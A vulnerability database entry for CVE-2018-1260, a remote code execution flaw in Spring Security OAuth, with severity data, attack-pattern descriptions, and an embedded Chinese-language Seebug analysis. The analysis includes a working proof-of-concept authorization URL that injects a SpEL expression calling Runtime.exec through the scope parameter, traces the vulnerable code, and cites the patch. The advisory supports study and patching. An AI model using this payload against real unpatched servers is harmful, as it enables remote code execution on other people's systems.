Vulnerabilities > CVE-2018-1260 - Code Injection vulnerability in Pivotal Software Spring Security Oauth
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
Spring Security OAuth, versions 2.3 prior to 2.3.3, 2.2 prior to 2.2.2, 2.1 prior to 2.1.2, 2.0 prior to 2.0.15 and older unsupported versions contains a remote code execution vulnerability. A malicious user or attacker can craft an authorization request to the authorization endpoint that can lead to remote code execution when the resource owner is forwarded to the approval endpoint.
Vulnerable Configurations
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Leverage Executable Code in Non-Executable Files An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
- Manipulating User-Controlled Variables This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
Redhat
advisories |
|
Seebug
bulletinFamily | exploit |
description | ### 漏洞公告 ![](https://images.seebug.org/1526005230440-w331s) ### 环境搭建 利用github上已有的demo: ``` git clone https://github.com/wanghongfei/spring-security-oauth2-example.git ``` 确保导入的spring-security-oauth2为受影响版本,以这里为例为2.0.10 ![](https://images.seebug.org/1526005248362-w331s) 进入spring-security-oauth2-example,修改 cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java的第67行: ``` @Override public void configure(ClientDetailsServiceConfigurer clients) throws Exception { clients.inMemory() .withClient("client") .authorizedGrantTypes("authorization_code") .scopes(); } ``` 访问: ``` http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.github.com/chybeta&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D ``` 会重定向到login页面,随意输入username和password,点击login,触发payload。 ![](https://images.seebug.org/1526005286933-w331s) ### 漏洞分析 先简要补充一下关于OAuth2.0的相关知识。 ![](https://images.seebug.org/1526005302666-w331s) 以上图为例。当用户使用客户端时,客户端要求授权,即图中的AB。接着客户端通过在B中获得的授权向认证服务器申请令牌,即access token。最后在EF阶段,客户端带着access token向资源服务器请求并获得资源。 在获得access token之前,客户端需要获得用户的授权。根据标准,有四种授权方式:授权码模式(authorization code)、简化模式(implicit)、密码模式(resource owner password credentials)、客户端模式(client credentials)。在这几种模式中,当客户端将用户导向认证服务器时,都可以带上一个可选的参数scope,这个参数用于表示客户端申请的权限的范围。 ,根据[官方文档](http://projects.spring.io/spring-security-oauth/docs/oauth2.html),在spring-security-oauth的默认配置中scope参数默认为空: ``` scope: The scope to which the client is limited. If scope is undefined or empty (the default) the client is not limited by scope. ``` 为明白起见,我们在demo中将其清楚写出: ``` clients.inMemory() .withClient("client") .authorizedGrantTypes("authorization_code") .scopes(); ``` 接着开始正式分析。当我们访问`http://localhost:8080/oauth/authorize`重定向至`http://localhost:8080/login`并完成login后程序流程到达 `org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java`,这里贴上部分代码: ``` @RequestMapping(value = "/oauth/authorize") public ModelAndView authorize(Map<String, Object> model, @RequestParam Map<String, String> parameters, SessionStatus sessionStatus, Principal principal) { // Pull out the authorization request first, using the OAuth2RequestFactory. All further logic should // query off of the authorization request instead of referring back to the parameters map. The contents of the // parameters map will be stored without change in the AuthorizationRequest object once it is created. AuthorizationRequest authorizationRequest = getOAuth2RequestFactory().createAuthorizationRequest(parameters); try { ... // We intentionally only validate the parameters requested by the client (ignoring any data that may have // been added to the request by the manager). oauth2RequestValidator.validateScope(authorizationRequest, client); ... // Place auth request into the model so that it is stored in the session // for approveOrDeny to use. That way we make sure that auth request comes from the session, // so any auth request parameters passed to approveOrDeny will be ignored and retrieved from the session. model.put("authorizationRequest", authorizationRequest); return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal); } ... ``` 第115行 ![](https://images.seebug.org/1526005546498-w331s) 在执行完AuthorizationRequest authorizationRequest = ...后,authorizationRequest代表了要认证的请求,其中包含了众多参数 在经过了对一些参数的处理,比如RedirectUri等,之后到达第156行: ``` // We intentionally only validate the parameters requested by the client (ignoring any data that may have // been added to the request by the manager). oauth2RequestValidator.validateScope(authorizationRequest, client); ``` 在这里将对`scope`参数进行验证。跟入`validateScope`到`org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java`:19 ``` public class DefaultOAuth2RequestValidator implements OAuth2RequestValidator { public void validateScope(AuthorizationRequest authorizationRequest, ClientDetails client) throws InvalidScopeException { validateScope(authorizationRequest.getScope(), client.getScope()); } ... } ``` 继续跟入`validateScope`,至 `org/springframework/security/oauth2/provider/request/DefaultOAuth2RequestValidator.java`:28 ``` private void validateScope(Set<String> requestScopes, Set<String> clientScopes) { if (clientScopes != null && !clientScopes.isEmpty()) { for (String scope : requestScopes) { if (!clientScopes.contains(scope)) { throw new InvalidScopeException("Invalid scope: " + scope, clientScopes); } } } if (requestScopes.isEmpty()) { throw new InvalidScopeException("Empty scope (either the client or the user is not allowed the requested scopes)"); } } ``` 首先检查`clientScopes`,这个`clientScopes`即我们在前面configure中配置的`.scopes()`;,倘若不为空,则进行白名单检查。举个例子,如果前面配置`.scopes("chybeta");`,则传入`requestScopes`必须为`chybeta`,否则会直接抛出异常`Invalid scope:xxx`。但由于此处查`clientScopes`为空值,则接下来仅仅做了`requestScopes.isEmpty()`的检查并且通过。 在完成了各项检查和配置后,在`authorize`函数的最后执行: ``` return getUserApprovalPageResponse(model, authorizationRequest, (Authentication) principal); ``` 回想一下前面OAuth2.0的流程,在客户端请求授权(A),用户登陆认证(B)后,将会进行用户授权(C),这里即开始进行正式的授权阶段。跟入`getUserApprovalPageResponse` 至`org/springframework/security/oauth2/provider/endpoint/AuthorizationEndpoint.java`:241: ![](https://images.seebug.org/1526005667920-w331s) 生成对应的model和view,之后将会forward到`/oauth/confirm_access`。为简单起见,我省略中间过程,直接定位到`org/springframework/security/oauth2/provider/endpoint/WhitelabelApprovalEndpoint.java`:20 ``` public class WhitelabelApprovalEndpoint { @RequestMapping("/oauth/confirm_access") public ModelAndView getAccessConfirmation(Map<String, Object> model, HttpServletRequest request) throws Exception { String template = createTemplate(model, request); if (request.getAttribute("_csrf") != null) { model.put("_csrf", request.getAttribute("_csrf")); } return new ModelAndView(new SpelView(template), model); } ... } ``` 跟入`createTemplate`,第29行: ``` protected String createTemplate(Map<String, Object> model, HttpServletRequest request) { String template = TEMPLATE; if (model.containsKey("scopes") || request.getAttribute("scopes") != null) { template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", ""); } ... return template; } ``` 跟入`createScopes`,第46行: ![](https://images.seebug.org/1526005709023-w331s) 这里获取到了`scopes`,并且通过for循环生成对应的`builder`,其实就是html和一些标签等,最后返回的即`builder.toString()`,其值如下: ``` <ul><li><div class='form-group'>scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}: <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='true'>Approve</input> <input type='radio' name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}' value='false' checked>Deny</input></div></li></ul> ``` `createScopes`结束后将会把上述`builder.toString()`拼接到`template`中。`createTemplate`结束后,在`getAccessConfirmation`的最后: ``` return new ModelAndView(new SpelView(template), model); ``` 根据`template`生成对应的`SpelView`对象,这是其构造函数: ![](https://images.seebug.org/1526005767874-w331s) 此后在页面渲染的过程中,将会执行页面中的Spel表达式`${T(java.lang.Runtime).getRuntime().exec("calc.exe")}`从而造成代码执行。 ![](https://images.seebug.org/1526005790631-w331s) 所以综上所述,这个任意代码执行的利用条件实在“苛刻”: 需要`scopes`没有配置白名单,否则直接`Invalid scope:xxx`。不过大部分OAuth都会限制授权的范围,即指定scopes。 ![](https://images.seebug.org/1526005814986-w331s) 使用了默认的Approval Endpoint,生成对应的template,在spelview中注入spel表达式。不过可能绝大部分使用者都会重写这部分来满足自己的需求,从而导致spel注入不成功。 角色是授权服务器(例如@EnableAuthorizationServer) 补丁浅析 commit记录: `https://github.com/spring-projects/spring-security-oauth/commit/adb1e6d19c681f394c9513799b81b527b0cb007c` 官方将`SpelView`去除,使用其他方法来生成对应的视图 ![](https://images.seebug.org/1526005850519-w331s) |
id | SSV:97287 |
last seen | 2018-06-26 |
modified | 2018-05-11 |
published | 2018-05-11 |
reporter | My Seebug |
title | RCE with spring-security-oauth2 分析(CVE-2018-1260) |
References
- http://www.securityfocus.com/bid/104158
- http://www.securityfocus.com/bid/104158
- https://access.redhat.com/errata/RHSA-2018:1809
- https://access.redhat.com/errata/RHSA-2018:1809
- https://access.redhat.com/errata/RHSA-2018:2939
- https://access.redhat.com/errata/RHSA-2018:2939
- https://pivotal.io/security/cve-2018-1260
- https://pivotal.io/security/cve-2018-1260